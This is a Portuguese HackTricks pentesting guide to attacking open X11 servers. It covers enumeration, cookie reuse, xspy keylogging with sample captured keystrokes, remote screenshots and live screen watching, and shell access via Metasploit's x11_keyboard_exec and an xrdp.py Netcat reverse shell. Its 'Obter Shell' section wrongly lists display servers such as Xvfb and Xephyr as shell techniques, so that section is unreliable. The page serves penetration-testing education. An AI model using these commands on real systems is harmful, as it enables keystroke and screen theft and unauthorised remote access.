12 KiB
6000 - Pentesting X11
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? Ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
HackenProof é o lar de todas as recompensas por bugs de criptografia.
Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
Torne-se a lenda do hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
Cadastre-se no HackenProof comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
Informações Básicas
O X Window System (também conhecido como X) é um sistema de janelas para exibições de bitmap, comum em sistemas operacionais baseados em UNIX. O X fornece a estrutura básica para um ambiente baseado em GUI. O X também não impõe a interface do usuário - programas individuais lidam com isso.
De: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
Porta padrão: 6000
PORT STATE SERVICE
6000/tcp open X11
Enumeração
Verifique a conexão anônima:
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
Enumeração Local
O arquivo .Xauthority
na pasta home do usuário é usado pelo X11 para autorização. De aqui:
MIT-magic-cookie-1: Gerando 128 bits de chave ("cookie"), armazenando-a em ~/.Xauthority (ou onde a variável de ambiente XAUTHORITY aponta). O cliente a envia para o servidor em texto simples! O servidor verifica se possui uma cópia deste "cookie" e, se sim, a conexão é permitida. A chave é gerada pelo DMX.
{% hint style="warning" %}
Para usar o cookie, você deve definir a variável de ambiente: export XAUTHORITY=/caminho/para/.Xauthority
{% endhint %}
Verificar Conexão
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
Keyloggin
xspy para capturar as teclas digitadas no teclado.
Exemplo de Saída:
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
Captura de Telas
Durante um teste de penetração em serviços X11, é importante capturar screenshots para obter informações visuais sobre a interface gráfica do sistema alvo. Isso pode revelar informações sensíveis, como senhas, chaves de criptografia ou dados confidenciais exibidos na tela.
Existem várias ferramentas disponíveis para capturar screenshots em um ambiente X11. Uma opção popular é o comando xwd
, que permite capturar a tela inteira ou uma janela específica. Por exemplo, para capturar a tela inteira, você pode executar o seguinte comando:
xwd -root -out screenshot.xwd
Isso salvará a captura de tela no formato XWD (X Window Dump) em um arquivo chamado screenshot.xwd
. Você pode visualizar o arquivo usando o visualizador de imagens xwud
:
xwud -in screenshot.xwd
Outra opção é usar a ferramenta import
do ImageMagick, que permite capturar screenshots e salvá-los em vários formatos, como PNG ou JPEG. Por exemplo, para capturar a tela inteira e salvá-la como um arquivo PNG, você pode executar o seguinte comando:
import -window root screenshot.png
Essas ferramentas de captura de tela podem ser úteis durante um teste de penetração para documentar as etapas realizadas e fornecer evidências visuais das vulnerabilidades encontradas.
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
Visualização de Área de Trabalho Remota
Fonte: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref
./xrdp.py <IP:0>
Caminho de: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
Primeiro, precisamos encontrar o ID da janela usando xwininfo.
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
XWatchwin
Para visualização ao vivo, precisamos usar
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
Obter Shell
Uma vez que tenhamos acesso a um servidor X11, podemos explorar várias técnicas para obter um shell no sistema alvo. Aqui estão algumas abordagens comuns:
1. X11 Forwarding
Se o servidor X11 permitir o encaminhamento, podemos usar o comando ssh -X
para encaminhar a exibição do servidor X11 para o nosso sistema local. Isso nos permitirá executar aplicativos gráficos no sistema remoto e interagir com eles.
ssh -X user@target
2. Xvfb
O Xvfb (X Virtual Framebuffer) é um servidor X11 que não requer uma exibição física. Podemos usá-lo para criar uma exibição virtual e executar aplicativos gráficos sem uma interface gráfica real.
Xvfb :1 -screen 0 800x600x16 &
export DISPLAY=:1
3. Xnest
O Xnest é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída.
Xnest :1
export DISPLAY=:1
4. Xephyr
O Xephyr é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11 ou dentro de uma janela do gerenciador de janelas. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída.
Xephyr :1
export DISPLAY=:1
5. Xpra
O Xpra é uma ferramenta que permite executar aplicativos X11 em um servidor remoto e exibir a saída em um sistema local. Podemos usá-lo para obter acesso a aplicativos gráficos em um servidor X11 remoto.
xpra start :1
export DISPLAY=:1
6. XDMCP
Se o servidor X11 estiver configurado para permitir conexões XDMCP, podemos usar um cliente XDMCP para se conectar ao servidor e obter uma sessão gráfica.
X -query target
Essas são apenas algumas das técnicas que podemos usar para obter um shell em um sistema alvo através de um servidor X11. A escolha da técnica dependerá das configurações e restrições específicas do sistema alvo.
msf> use exploit/unix/x11/x11_keyboard_exec
Outra maneira:
Reverse Shell: O Xrdp também permite obter um reverse shell via Netcat. Digite o seguinte comando:
./xrdp.py <IP:0> –no-disp
Será exibido um novo painel de controle onde podemos ver a opção R-shell, ilustrada abaixo:
Iniciaremos o modo de escuta do Netcat em nosso sistema local na porta 5555, ilustrado abaixo:
Em seguida, adicione o IP e a porta e selecione R-Shell, ilustrado abaixo:
Agora, como pode ser visto abaixo, temos acesso completo ao sistema:
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
Shodan
port:6000 x11
HackenProof é o lar de todas as recompensas por bugs de criptografia.
Seja recompensado sem atrasos
As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug.
Adquira experiência em pentesting web3
Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão.
Torne-se uma lenda hacker web3
Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal.
Cadastre-se no HackenProof e comece a ganhar com seus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.